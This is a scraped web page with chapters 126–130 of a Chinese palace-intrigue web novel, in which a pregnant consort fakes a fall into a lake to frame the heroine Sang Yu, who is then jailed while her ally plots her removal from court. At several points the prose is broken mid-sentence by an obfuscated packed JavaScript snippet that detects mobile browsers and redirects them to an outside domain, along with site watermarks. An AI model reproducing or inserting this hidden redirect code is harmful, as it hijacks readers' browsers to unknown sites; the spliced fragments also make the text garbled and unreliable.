盛夏的蝉鸣聒噪刺耳乾清宫的冰鉴冒着丝丝白气却驱不散祁蘅眉间的燥意。 太监尖细的嗓音刺破凝滞的空气:“陛下贵妃娘娘求见。” 祁蘅眉头几不可察地一皱:“宣。” 珠帘掀起时带起一阵香风陆晚宁捧着缠枝莲纹食盒盈盈下拜。 她今日倒是扮的十分清雅只是薄施脂粉眼尾泛着红晕。 “臣妾熬了冰镇酸梅汤。”她将食盒放在案边说道:“太医说这方子最是解暑…” 祁蘅扫了一眼随即收回目光微微有些不悦:“你有孕在身该在宫中静养。” “可孩子想见父皇……”陆晚宁声音突然哽咽似是意识到说错了话慌忙低下了头:“抱歉陛下是臣妾僭越了……” 红菱突然上前半步:“娘娘今早不是还说不会再哭了怎么又……” “多嘴。”陆晚宁低声呵斥急忙擦了擦眼角。 祁蘅搁下朱笔目光不由落在她浮肿的眼睑上:“你哭了?为什么会哭?太医怎么说?” 陆晚宁强撑的笑看起来十分脆弱惹人怜惜:“不过是害喜罢了陛下不必忧心。” 红菱却忽然说:“娘娘这几日夜夜惊梦昨日还呕了许久只是不想让陛下担心才……” “住口!”陆晚宁急忙制止红菱这才急忙闭嘴。 祁蘅终于认真的看了看陆晚宁。 她今夜 桑余就从没有对他露出过如此顺从脆弱的神情。 她只会借着自己对她的宠爱一次次凌驾在他的底线之上。 又想起她了。 此刻眼前有陆晚宁做比较祁蘅忽然觉得连贵女出身的晚宁都如此温柔恭顺她为何就不能服一点软? 第126章 陆晚宁独宠 她还只是个孤女,一个无依无靠的宫女出身。 她凭什么永远有那么多的尊严和自己闹别扭? 陆晚宁继续说:“臣妾知道,陛下又是在想桑姐姐了。所以,臣妾从没有来打扰陛下,陛下不必为我烦心。今日来看陛下一眼,晚宁就知足了。” 说罢,陆晚宁就准备知趣的离开。 祁蘅忽然伸手拢住了陆晚宁的手。 陆晚宁终究是怀了自己的孩子,祁蘅忽然察觉,自己的确是冷落了她许久。 这宫中女子在他面前从来都是迎合或谄媚,很久没有人为自己考虑过了。 敬事房太监恰在此时捧着绿头牌进来,祁蘅看也不看便说:“不必了,朕今夜摆驾长乐宫。” 陆晚宁惊喜的笑了,慌忙谢恩。 回宫鸾轿上,陆晚宁抚着尚未显怀的肚子轻笑:“你这个法子倒真是不错。” 红菱跪着为她打扇,团扇投下的阴影遮住了眼中寒光:“陛下怎么说也是男人,这宫里什么样的女人没有?可都是骄奢矜贵的世家嫡女出身,能让男子心软又愧疚的却没几个。” “那位被贬的桑宝林,不也是因为惯会作出一副矫揉做作的可怜模样才让陛下心疼?” “陛下在她那里未得温柔,此时娘娘却奉上这样的柔弱顺从,天下哪个男子,都是会心动的。” 陆晚宁笑容一错,缓缓浮上一层阴冷。 “可说到底,陛下还是因为在桑余那个**那里没得好,才会在我寻求慰藉,终归不是长久之计。” 红菱莞莞一笑,势在必得:“可我们只要这些时日的宠爱就够了。” “什么意思?” 红菱微微挑眉,说道:“借着这些时日,彻底让陛下对桑余失去兴趣,最好是,将她废了赶出宫去。” 陆晚宁看着红菱,满意的笑了笑,将头上的珠钗取下来丢给了她。 “只要此事成了,你,本宫重重有赏。” —— 过了几日,夏意渐浓,御花园里的海棠已绽出点点红蕊。 清梧院。 云雀走了进来,身后还跟着一位宫女,手里捧着一方洒金帖子。 云雀没什么好脸色的说:“娘娘,长乐宫派人来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799182|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 红菱恭敬行礼,倒是不生气,“桑宝林万安。三日后,各宫嫔妃要齐去宫外花坊参加赏花宴,贵妃娘娘邀宝林同往。” 桑余未接庚贴,她不打算去,更不想因此见到祁蘅。 “帮我转告贵妃娘娘,我近日身子不爽利,恐怕……” 话音未落,红菱忽然开口,眼睛直勾勾望着桑余,“贵妃娘娘特意嘱咐了,说花坊就在摘星楼不远,各色花式开得极好,娘娘一定要去。” 桑余指尖一颤。 摘星楼。 桑余想起李识衍说的话,他不让她操心,只是说一切只需要按照他的计策而来。 这是他的计策么? “百花齐放,确实难得。”桑余接过帖子,缓缓合上,“那替我谢过贵妃美意,嫔妾会准时前往。” 红菱嘴角浮起一丝笑意,恭敬行礼后退下。 直到脚步声彻底消失在回廊尽头,云雀才急道:“娘娘明知他们不怀好意,为何还要前去?” 桑余随意丢开帖子,只是浅浅的笑了笑。 没猜错的话,李识衍这是要借陆晚宁的手,设了一计。 第127章 真正的喜欢 三日后,百花宴前。 宫门前车马喧嚣,各色鸾轿排列整齐。 祁翎让人从给他找了只小兔子,他抱着兔子非说像桑余,逗得桑余低头笑了起来。 还未抬眼,目光所及之处忽然看见了一双白金鹿皮靴。 桑余的笑容瞬间像被冻成了冰。 她缓缓抬头,只见玄色龙纹锦袍在阳光下泛着冷光。 祁蘅正在看她。 陆晚宁紧随其后,一袭月白纱裙衬得她如出水芙蓉。 祁蘅其实远远就看见桑余在笑,她柔和的蹲在祁翎面前,笑意温婉动人,像个乖巧无忧的少女。 她从前也这样蹲在自己面前笑。 所以祁蘅想要上前。 只是才走近,才与她对视,她的笑就在看见自己的一刹那消失了,变脸变得那么快。 又变成了冷漠与提防,仿佛他们之间就隔着一道看不见的边界。 她真的……很讨厌他。 “皇兄!”祁翎眼看气氛似乎有些不对,欢快地跑来行礼,随即对陆晚宁说:“贵妃娘娘今日真好看!” 祁翎从头至尾只称桑余一人为皇嫂。 陆晚宁掩唇轻笑,眼尾恰到好处的薄红,她状似无意地往祁蘅身侧靠了靠:“小王爷真是越发聪慧了。” 桑余也也垂眸行礼:“嫔妾参见陛下、贵妃。” 祁蘅点了点头,让她起身。 已经有两个多月未见她了。 “桑宝林清减了。”祁蘅突然开口,目光扫过她素净的衣裙。 没有其他宫妃的织金刺绣,只简单绾了个单螺髻,连支像样的簪子都没有。 桑余一板一眼的回应:“天热,吃不下。” 祁蘅目光一动,望着她的神色晦暗了几分。 原来,并非他一人吃不下饭。 她也是如此么? 她是不是也跟他一样,夜夜辗转难眠的想他? 看来,痛苦的并不是只有他一个人对么? 祁蘅正要说什么,陆晚宁忽然开口:“臣妾知晓陛下或许想见桑姐姐,今日特邀了她来,陛下可高兴?” 祁蘅回过神来,看向低着头一言不发的桑余,不耐的皱起了眉。 “来一个后宫嫔妃朕就要 高兴?那朕的脸岂不是要笑烂了?” 说罢,他便牵住陆晚宁的手转身向龙辇而去,说道:“你还有身子,和朕坐在一起放心一些。” 陆晚宁乖顺的低头浅笑,随着祁蘅上了龙辇。 祁翎过来扯了扯桑余的衣裙,以为她在难过,便奶声奶气的安慰道:“皇嫂,皇兄一定是高兴的,只是他不好意思说,所以才看不出来。” 桑余摸了摸祁翎的头,她说:“等小王爷长大就知道了,若是真心悦一个人,是怎么也藏不住的,怎么会看不出来。” “皇嫂难过了?” 桑余笑了,摇摇头:“没有,他是皇上,是天子,自然不会对一个人一直好。” 况且,她马上就要离开了,所以没什么必要为他而难过。 祁翎努了努嘴:“等我将来长大了,就要一直对一个人好,就娶她一个,把什么好东西都留给她,才不会当着她的面去牵别人的手!” 桑余被祁翎的话逗笑了,这孩子和祁蘅一点也不像,祁蘅小时候哪会说这么童真的话。 她伸出手指刮了刮祁翎的鼻子,嗔道:“你呀,你都是从哪里学来的这些甜言蜜语。” “是夫子说的。” 桑余笑容凝滞了一下,迟疑的问:“他为何同你说这些?” “夫子说他有喜欢的人,是他从小指腹为婚的姑娘,他就很喜欢那个姑娘。他还说,若是男子真心喜欢一个女子,怎么会什么都想压她一头,跟她争跟她吵?看到她难过心疼都还来不及,恨不得把世上所有好的东西都留给她。” “所以我瞧见皇兄和你天天吵架,天天都想欺负你,我就觉得,皇兄一定不是真心喜欢你,夫子说了,喜欢一个人不是这样的。” 桑余听着祁翎的话,缓缓的将其与李识衍的身形叠合。 “那他喜欢的那个姑娘,一定是个很好很好的姑娘,将来过得很幸福。” 祁翎摇了摇头,正要说那个姑娘很多年前就与李识衍走散了,可容妃忽然从远处而来打断了二人。 齐嫔告病没来,容妃只能一个人,觉得无聊,索性便来寻桑余作伴。 她冲着陆晚宁的背影嗤笑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799183|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,阴阳怪气的说道:“难怪后宫人人都想给陛下生孩子,这有了孩子就是不一样。” 说罢,她便看向桑余:“除了陆晚宁,后宫里陛下宠幸最多的就是你了,你怎么也不争气怀一个,气死她。 桑余含蓄的笑了笑。 没气死陆晚宁,吃避子药的事就已经气死祁蘅了。 容妃拉着桑余和她一起,说车上备了好多好多的点心,祁翎闹着也要去,三个人便都上了一辆马车。 —— 花坊是民间专门为宫廷培育名花名草的地方,就在长安街最繁华的地方。 马车刚停稳,祁翎就迫不及待跳下车,指着远处欢呼:"皇嫂快看!有卖糖人的!" 桑余扶着车辕下来,市井的喧嚣扑面而来。 叫卖声、嬉笑声、甚至远处飘来的炊烟,都让她恍惚了一瞬——这是她入宫十二年来第一次见到宫外的世界。 “娘娘当心。云雀搀住她微微发抖的手,“这街上车水马龙,您莫要被冲撞了。 桑余摇摇头,目光却不由自主飘向东南方。 摘星楼就矗立在那处。 桑余的目光下移,与陆晚宁身边的红菱四目相对。 红菱对她莞莞一笑,轻轻点了点头。 “看什么呢?容妃凑过来,狐疑地盯着红菱背影,“哦,听说那是陆晚宁身边新去的厨娘,厨艺可好了,怎么就没分到本宫宫里啊? 桑余借整理衣袖收起纸条,笑道:“娘娘宫里的厨子们也不差,论数量也能胜她。 容妃一下笑了起来,她骄傲的扬起头说:“那是自然。你说话真好听,叫人欣喜。 容妃笑声爽朗,这番动静果然引来祁蘅侧目。 他正扶着陆晚宁下轿,闻言眉头微蹙,看了过去。 桑余能将别人逗得那么开心,说那么多好话,对自己倒是半分都不愿意施舍。 “天气闷热,臣妾陪陛下去去亭中歇息吧?陆晚宁娇娇弱的擦了擦汗,扶上了祁蘅的腰。 祁蘅收回目光,她不愿意顺从他,自有其他人愿意讨好他。 “好,一起去。 容妃翻了个白眼:“装模作样!都上那么大一把伞还热?怎么就没晒死她? 第128章 桑余撒谎成性 桑余轻轻拍了拍容妃的手背,温声道:“娘娘,今日百花盛宴,晚些时候,嫔妾为娘娘摘些新鲜的玫瑰作玫瑰酥怎么样?” 容妃眉头顿时舒展:“好啊!”她亲**挽住桑余的手臂,“走,咱们进去,你做的东西本宫都可喜欢吃了!” 一行人随着宫人引导进入花坊。 园中百花争艳,牡丹雍容,海棠娇艳,更有无数叫不上名字的奇花异草。 花坊主人是个须发皆白的老者,正躬身向皇上介绍近来由北寒之地新移植而来的品种。 桑余默默选了最角落的席位坐下。 余光瞥见红菱悄然退出宴席,临走时,看了自己一眼。 桑余顿时心领神会,她借口更衣,也起身离席。 转过几道回廊,红菱果然在假山后等她。 桑余半信半疑,始终警惕,毕竟她已经上过一次当了。 “娘娘。”红菱福了福身,声音压得极低,“少主已安排好一切,娘娘只需记住,您什么都不用做,无论发生什么,都请顺其自然。” 红菱说的话和李识衍一模一样。 李识衍也说,她什么都不需要做。 红菱顿了顿,又说:“娘娘,少主有句话要我带给娘娘,娘娘可否对皇上再无情愫?” 桑余不太明白,可还是如实说:“没有了。” 红菱道:“那便可放心,今日过后,陛下对娘娘,将再无情分。” 桑余平静的眨了眨眼睛,随之,扬起一抹浅笑:“好,这样最好。” 红菱已经准备离开了。 桑余突然拉住红菱的衣袖:“你们少主……他也来了么?” 红菱听到桑余问起自家少主,眼中闪过一丝意味不明的笑意,却没说话,摇了摇头,转身迅速消失在花丛中。 —— 回到宴席时,歌舞正酣。 十二名舞姬身着彩衣,随着乐声翩跹起舞。 祁蘅正漫不经心地转着手里流光溢彩的花酒,陆晚宁倚在他身侧,时不时娇笑着往他嘴里送水果。 “圣上,各位娘娘!”花坊主人缓缓说道:“老朽耗时五年,终于培育出蓝色睡莲,今日**御览,就在前方水榭!” 众人望去,只见远处水塘中,几朵罕 见的蓝莲浮在水面。 陆晚宁立刻生出兴趣,拉着祁蘅的袖子乖巧撒娇:“陛下,臣妾从未见过这般奇花,咱们近前看看可好? 祁蘅颔首,众人便起身准备移步水榭。 赵德全却忽然匆匆赶来,在祁蘅耳边低语几句。 祁蘅眉头一皱,眼中浮上一层阴翳,转身就往外走:“刑部有急事,朕去去就回。 陆晚宁这次却不恼怒,大抵是想将乖顺装到底。 皇帝一走,嫔妃们顿时放松许多,三三两两散开赏花。 桑余正欲避开人群,却见陆晚宁朝她走来。 桑余敬而远之,本能地后退半步。 但她又想起红菱的嘱托,只能硬生生止住了逃离的冲动,留下来静观其变。 “桑姐姐怎么躲在这儿?陆晚宁的声音一贯就像浸了蜜的刀子,“莫不是还在为上次的事记恨本宫? 阳光透过树影斑驳地落在陆晚宁脸上,衬得她眼角泛红,格外惹人心疼。 桑余浅笑,眼中微讽:“娘娘也不是一次两次招惹我,上次的事,是指哪件事啊? 陆晚宁咬紧了牙,笑容险些裂开:“看到陛下又重新疼惜我,你是不是很气恼啊?不过本宫劝你少打这些主意,一个被陛下厌弃的**罢了! 陆晚宁又看向远处蹦蹦跳跳的祁翎,冷笑一声:“还有,别以为接近十王爷就能有什么好下场,等他稍微长大,陛下就会将他送往封地…… “娘娘慎言。桑余抬眼直视她,“小王爷不过八岁稚童,您这般揣测,倒显得心思龌龊了。 陆晚宁脸色骤变,正要发作,这时青黛突然快步走来,附在陆晚宁耳边低语。 陆晚宁微微挑眉,随即露出轻飘飘的笑,仿佛是终于等到了。 陆晚宁缓缓上前,轻轻抓住桑余的手按在自己腹部,“姐姐别生气啊,来摸摸,这可是陛下的骨血…… 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节)她手指冰凉如蛇,带着不容抗拒的力道,“你说要是出了什么意外…… 桑余已经明白她想要做什么了。 几乎同时,陆晚宁便扯着她的手狠狠一拽! 宽袖翻飞间,桑余眼睁睁看着陆晚宁自己向后仰去,从身后的围栏直直坠往湖面。 “晚宁!祁蘅的暴喝从身后炸 响。 时间仿佛被拉长。陆晚宁坠落时唇角还噙着笑。 红菱的尖叫声响彻花坊:“来人啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799184|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑宝林要谋害皇嗣!” 水花溅起的刹那,又一道深色身影袭来,重重推开了桑余。 桑余跌到地上,手掌在粗糙的石子上蹭破,渗出丝丝缕缕的疼。 她看过去,祁蘅焦灼的攀附在围栏上向下看,双目通红,冲身边的侍卫怒吼道:“还愣着干什么?贵妃和她腹中胎儿若有半分差池,这亭子里的所有人都拿命来填!” 桑余跌坐在地上,掌心被碎石磨得生疼,却不及心头那一瞬的寒意。 祁蘅绝不是说说而已。 他是真的动了杀意。 桑余透过围栏往下看去,陆晚宁剧烈挣扎,看不出假装。 可桑余不信她会拿自己好不容易得来的孩子作赌,想来不会有什么事。 果然,陆晚宁很快被捞了上来,浑身湿透,脸色苍白如纸,发髻散乱,显得格外狼狈。 她捂着肚子,痛苦地蜷缩在祁蘅怀里,声音虚弱得像是随时会断气:“陛下……臣妾只是想让桑姐姐别再恨我兄长,可她却说,杀不了我兄长,便要杀我……” 祁蘅紧紧抱着她,眼底心疼至极:“晚宁,没事,朕在的,朕就在你身边。” 下一瞬,他猛地抬头,目光如刀般刺向桑余:“桑余,你怎么敢——” 桑余缓缓站起身,掌心渗出的血珠滴在地上,晕开一片暗红。 她看着祁蘅,冷静的说:“嫔妾什么都没做。” “你还狡辩!”祁蘅厉声喝道,声音里带着不容置疑的冷厉,“朕亲眼所见,朕就知道你一向撒谎成性,可朕难道还不相信自己的眼睛么?” “陛下亲眼所见什么?”桑余反问,声音平静得可怕,“是嫔妾推了她,还是她为了陷害我,自己跳下去的?” “桑余,你放肆!” 祁蘅知道桑余厌恶陆晚宁,从前就几次三番想要杀了她给沈康报仇,甚至扯过她的头发。 但那时也就罢了,如今晚宁已经那般收敛乖顺,腹中还怀有他的孩子,她怎么还能这么狠心? 她不给他生孩子,难道也不允许其他人怀自己的孩子么? “桑余,晚宁对这个孩子百般疼惜,怎么可能拿龙嗣陷害你?” 桑余平静的看着他这副模样,忽然有几分庆幸,过去并没有因他一时的甜言蜜语就信他。 “嫔妾是讨厌她,可我不会杀幼童……” 祁蘅凝视着她:“你手上沾满了血,还有你不敢杀的人?” 第129章 我会让你重新开始 桑余没想到,曾经为保护他而刺向别人的剑,此刻却成为了他将污水泼向自己的理由。 在他心里,自己从来都是恶毒至此吧。 可祁蘅有没有问过桑余,到底她杀的哪一个人是自愿的。 她又是心甘情愿,做一个刽子手的么? 桑余不说话了。 李识衍说的没错,顺其自然就好。 如果他真的信任自己,倒也不是多疑的君王了,自己更出不了宫了。 祁蘅这才意识到自己这句话说的有些重了。 陆晚宁握住祁蘅的手,哭的双眼通红,瑟瑟发抖:“以前是我对不起桑姐姐,可她就算想害我,陛下的孩子是无辜的啊……臣妾父母都远在北狄戴罪,除了哥哥,这个孩子是臣妾唯一的亲人了,陛下一定要救救他。” 陆晚宁仿佛是得了高人指点一般,字字句句都点在了祁蘅的心上。 他甚至想起了多年前苦苦维护自己的母妃,陆晚宁的爱子之心诚然可见,她怎么可能拿自己的孩子来陷害桑余? “来人!”祁蘅下令:“送贵妃回宫诊治,桑宝林……意图谋害嫔妃皇嗣,押入刑部大牢,朕要亲自审问。” 侍卫上前,桑余平静地伸出双手,任由他们拷住自己,也在无意间露出了掌心的伤。 祁蘅瞳孔微缩,目光在那道伤口停留了一瞬,这才想起自己刚才情急之下,自己狠狠推开了她。 祁蘅喉结滚动,终究别过了脸,关切的抱起了陆晚宁。 —— 回宫的轿辇上,陆晚宁靠在软枕上,手指轻抚着小腹,还有些后怕。 这是一招险棋,若不是一定要除了桑余,她才不会这样铤而走险,拿孩子开玩笑。 陆晚宁稳住气息,对红菱低声道:“一定要找最好的太医给我医治,不能让本宫的孩子出任何差错。” 红菱浅笑,说:“明白了。” 陆晚宁唇角勾起一抹冷笑,“这次,定要让桑余永无翻身之日。” 红菱并不言语,只是安静的跟在轿辇之后。 —— 桑余在昏沉中感觉到掌心传来一阵刺痛,她微微蹙眉,缓缓睁开眼睛。 朦胧的视线里,一个身着狱卒衣服的男子,正低头为她上药,动作轻 柔。 她微微错愕,待看清那人的眉眼时,呼吸一滞—— “李识衍?”她低声唤道,声音有些哑。 李识衍抬眸,见她醒了,眼底带着几分心疼:“疼吗?” 桑余摇了摇头,想要坐起身,却被他轻轻按住肩膀:“别动,伤口刚涂了药。” 她看着他,有些恍惚。 他穿着狱卒的粗布衣裳,脸也被易容了,可那双眼睛却依旧清亮如星,就小心翼翼的跪在地上给自己的手上药。 谨慎的模样,一点都不像是京城第一酒家的少公子。 “没关系的,这点伤很轻的,不疼。” 她身上,比这重的伤多了去了。 李识衍的手抖了一下,喉头疼的说不出一句话。 他想,不会了,以后有他在,不会再有一道疤了。 “你怎么会在这里?”她低声问。 李识衍勉强的笑了笑,声音压得极低:“来看看你。” 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) 桑余意外的瞪大眼睛:“刑部大牢你都能进的来?” 李识衍没说话,桑余的确不知摘星楼的手段。 他顿了顿,忽然问道:“桑余,你怕不怕?” 或许是接下来的拷问,或许是身败名裂,或许是千夫所指……李识衍怕,总有他算不到的地方。 桑余却忽然摇头:“不怕。” 只要能离开那座皇城,离开祁蘅,不管会遭遇什么她都不会怕。 不知道是不是错觉,看见李识衍的眼睛,桑余就相信自己这次一定可以离开。 李识衍沉默许久,看着她掌心的伤,微不可察的皱了皱眉头,“你会不会恨我?” 桑余一怔,有些不解:“为什么恨你?” 李识衍垂眸,指尖轻轻摩挲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799185|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药瓶的边缘,声音低得几乎听不见:“用这种方式……让他厌恶你,舍弃你,你会不会难过?” 桑余看着他,忽然明白了他的意思。 她轻轻笑了:“我不怪你。” “如果他真的信任我,又怎么会被离间?”她顿了顿,声音轻缓,“李识衍,我应该要谢谢你。” 李识衍忽然红了眼眶,低头避开她的目光,喉结滚动了一下,才低声道:“你信我,将来……我会给你一个新的身份,重 新开始,把这些都忘了。 他说的话一定是真的。 桑余知道他有这个能力。 除了师父外,这是第一次有一个人这般真诚的对自己好。 桑余想问他为什么对自己这么好,可话未出口,远处忽然传来一阵杂乱的脚步声,由远及近。 两人神色一凛,李识衍迅速收起药瓶,低声道:“别出声。 …… 祁蘅一身玄色龙袍,神色冷峻地走来。 他身后跟着众多官员,为首的乃是刑部尚书,正殷切地躬身引路:“陛下,桑宝林就关在此处。 祁蘅步子停在牢房门口,目光沉沉地落在桑余身上。 她蜷缩在角落的草堆上,单薄的衣衫沾了灰尘,发丝凌乱地散在肩头,整个人看起来脆弱又狼狈。 祁蘅心头蓦地一刺。 但他的眼神又骤然冷了下来,强行压下心头那点不该有的怜惜。 “开门。 看守桑余的狱卒急忙低着头上前,将铁链解开。 刑部尚书问道:“陛下可还有吩咐? 祁蘅抬起手,让所有人全部退下。 待众人散去,他才缓步走进牢房,目光落在蜷缩在草堆上的桑余身上。 祁蘅皱了皱眉,用指节抵住鼻子,似乎嫌恶这里的霉味和血腥气。 “把手伸出来。他冷声道。 桑余睁开眼睛,缓缓看向他,没有动作。 祁蘅不耐,从袖中取出一瓶药,施舍一般丢到她面前:“先上药。 那药瓶滚落在草堆上,桑余没有去捡。 第130章 朕不会再管你 桑余缓缓抬头,透过凌乱的发丝看向站在光影交界处的祁蘅。 他高高在上的站在那里,身着绣金龙的玄色衣袍,一切都与这肮脏的牢房格格不入。 药滚落在桑余脚边,她盯着那个药瓶,如果是一年前,她大概会满心欢喜,迫不及待的捡起来,像幼时捡到他丢过来的桂花糕一样对他感恩戴德。 但她不是那时候的桑余了。 她也不会再信他说过的“以后不会让你再吃脏东西”的诺言了。 桑余冷淡的闭上了眼,再没看祁蘅。 看到桑余露出这样冷淡的神情,祁蘅呼吸一下子凝重起来,好像心被浸在了冰水里,六月酷暑,他却觉得浑身冰冷。 “桑余都到这个时候了,还端着你那清高的架子?朕竟还记挂着你手上的伤,特意来给你送药,真是可笑。” 掌心的伤口其实已经没那么疼了,泛着丝丝缕缕的凉,是李识衍方才为她涂的药。 桑余终于开口,声音嘶哑:“陛下若是来兴师问罪的,大可不必这般兜圈子,您到底是想说什么?” 祁蘅一怔,诧异的看向桑余。 桑余果然很了解他。 他的确,是抱着其他目的来的。 “桑余,此事可大可小。”祁蘅的声音忽然放软,“毕竟是你谋害龙嗣,此事已是定局。可若是……你愿意给朕生个孩子,晚宁的事朕可以既往不咎。” 桑余怔住了,她不敢相信自己的耳朵。 所以,祁蘅是已经猜出来陆晚宁在做戏了? 其实不难猜,祁蘅当时看见陆晚宁落水气过头了,但是后来冷静下来,才察觉不对劲的地方太多了。 但他还是气恼桑余。 不如就此吓唬吓唬她,让她服个软,骗她答应给自己生个孩子。 只要有了孩子,她就会留在宫里好好的当他的妃子。 可没想到,桑余却反问起了他:“陛下是在说笑么?若是陆贵妃听到,又该难过了。” “你!” 祁蘅转身,眼中怒火更甚,“朕在给你机会!只要你低头认错,朕可以力排众议保下你。若你执迷不悟……” 他顿了顿,“朝堂之上,朕不会再管你死活。” 牢房里的空气仿佛凝固了。 桑余只是静静地坐在那里,看着自己曾经爱的人,居高临下的把一切罪责推给她,以此要挟她。 桑余想起从前的点点滴滴,嘲讽挂在了嘴角,最后吞下识人不清的果。 “随便吧。桑余听见自己说。 “什么?祁蘅眯起眼睛。 “是生是死,都随便。桑余抬起头,直视他的眼睛,“反正此事发生的那一刻,陛下不是就已经做了选择吗? 祁蘅的胸膛剧烈起伏,他忽然上前,宽大的身影压迫下来,一把掐住桑余的下巴。 “难道……你当真推了晚宁? 桑余艰难的笑了笑,笑容嘲讽:“这重要吗?白日里陛下没有揭穿她,此事便就已经在世人眼里成了定局,说什么又有什么意义? “你还气我—— 祁蘅的手高高扬起,却在半空中停住了。 他看见桑余紧闭上了眼睛,长睫在苍白的脸上投下阴影,一副引颈就戮的模样。 那一刻,祁蘅忽然想起多年前的一次刺杀。 刺客的长剑直指他的咽喉,桑余不顾一切地挡在他面前,剑锋穿透她的肩膀,热血溅在他脸上。 那时她也是这样闭着眼睛,却紧紧抓着他的手说:“殿下别怕。 如今,她这幅神情,却是因为害怕自己。 “好,很好。 祁蘅收回手,声音冷得像冰,仿佛在胸腔里肆意翻涌搅弄,把他刮的生疼:“既然你自作孽,朕成全你。 他转身大步离开,铁门在身后重重关上,发出震耳欲聋的声响。 桑余缓缓睁开眼睛,看着地上散落的药丸,笑了起来,笑着笑着就落了泪。 倒不是因此难过,而是委屈。 是这世上只剩下她一个人,不知所措的委屈。 …… 牢房外,祁蘅的脚步越来越快,最后几乎是跑着离开了地牢。 他胸口闷得发疼,眼前全是桑余那双决绝的眼睛。 “陛下?刑部尚书小心翼翼地迎上来,“桑宝林她…… “关着。祁蘅冷声道,却在走出几步后又停下,“若是有人敢对她用刑,朕必定会让他求生不得,求死不能,明白么? 刑部尚书脸都 吓白了,忙不迭的跪下应诺。 祁蘅明明很生气,可也不知道自己为什么又要下这道命令。 只是……一想到桑余会受刑,他的心就像被人生生挖去一块。 刚才握住她手腕时,那上面还有许多旧疤,都是为他留下的。 她已经有很多伤了,不能再多了。 —— 醉仙楼雅间,陆淮安已经自斟自饮的半醉。 李识衍推门而入拱手作揖,眼角轻染笑意:“陆侍郎,久等了。 陆淮安抬眼,目光中带着几分警惕与探究:“李公子邀我前来,不知所为何事? 李识衍不急着回答,而是先为两人各斟了一杯酒。 只有江湖中人知道摘星楼代表什么,陆淮安还真以为李识衍只是一个商贾之子,所以并不放在眼里。 但李识衍却是将他琢磨了个透。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799186|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻他近日与鉴察院几位言官走得颇近,想来是陆家其他人还在北狄戴罪流放,他又在为家族谋出路。 李识衍道:“昨日在花坊,陆贵妃**一事…… 陆淮安的手猛地一顿,酒水溅出几滴。 没想到,桑余伤了他也就罢了,他可以既往不咎,谁叫他骗过她,欠了她的。 可那个毒妇,却连怀有胎儿的晚宁都不放过! “是啊,只可惜,陛下一直对罪魁祸首袒护至极,我也无可奈何。不过……陆淮安警惕起来,饮下一杯酒问道:“你问这些做什么? 李识衍倾身向前,声音压得更低:“在下一腔抱负,奈何在翰林院无人照拂,才被派给不得宠的皇子做夫子。若是,陆侍郎愿帮衬在下一把,在下愿为陆侍郎出谋划策,尽幕僚之责。 “你是说,你想到怎么替我妹妹出口气了? 李识衍眼中闪过一丝冷意:“陆兄与鉴察院关系密切,何不借言官之力,上奏废黜桑余? 陆淮安眉头紧锁:“可陛下对桑余…… “陛下再念旧情,也抵不过朝堂压力。李识衍冷笑,“以谋害皇嗣之罪,就算不会杀她,也该将她逐出宫去,永绝后患。 最后一句话像一把钥匙,打开了陆淮安心底的某个匣子。 陆淮安端起酒杯一饮而尽,酒液灼烧着他的喉咙 